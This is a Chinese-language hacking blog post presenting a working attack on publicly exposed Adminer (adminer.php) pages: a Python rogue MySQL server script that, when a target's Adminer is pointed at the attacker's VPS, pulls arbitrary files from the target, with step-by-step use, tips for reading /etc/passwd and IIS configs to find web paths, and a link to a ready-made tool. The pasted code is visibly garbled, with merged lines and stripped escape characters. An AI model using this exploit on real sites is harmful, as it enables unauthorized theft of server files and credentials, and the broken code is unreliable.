這個漏洞我沒有找到具體的出處,所以我沒有詳述此漏洞的前因后果,但是因為有很強的實戰性,有必要分享給大家。
簡單一點講,如果你掃描網站目錄,恰巧碰上了adminer.php這個鏈接,恭喜你,不需要密碼,基本你可以搞定此站了。
利用的工具MySQL.py,代碼如下:
#coding=utf-8
import socket
import loggingimport syslogging.basicConfig(level=logging.DEBUG)filename=sys.argv[1]
sv=socket.socket()sv.setsockopt(1,2,1)
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()logging.info('Conn from: %r', address)
conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filename
conn.sendall(wantfile)content=conn.recv(9999)
logging.info(content)conn.close()
實戰測試:
第一步,在VPS上執行此代碼。
我文章是用我的虛擬機和物理機演示的。在我的虛擬機kali上執行的:Python mysql.py "要讀的目標站點的文件"
我KALI虛擬機的IP地址是192.168.1.5
保障你的VPS中的用這個mysql.py開的3306端口是可以被外部連上的。
第二步,打開目標站的adminer.php,輸入vps的地址,用戶名和密碼亂寫就可以。
我是用本機的物理機演示的。
第三步,點擊登陸,在你的vps上就得到要讀的止標站點文件的源碼了。
在上圖中,我讀的是物理機中的d:/1.bat,因為1.bat里有中文,所以有亂碼。
另外,有個小技巧,如果不知物理目錄的話,你可以在第一步中執行python mysql.py “xxx",有可能暴出物理目錄。當然,你也可以讀/etc/passwd,iis下的配置文件來得到目標站的物理目錄。還有,如果復制本文中代碼不方便的話,也可以利用https://github.com/allyshka/Rogue-MySql-Server此腳本。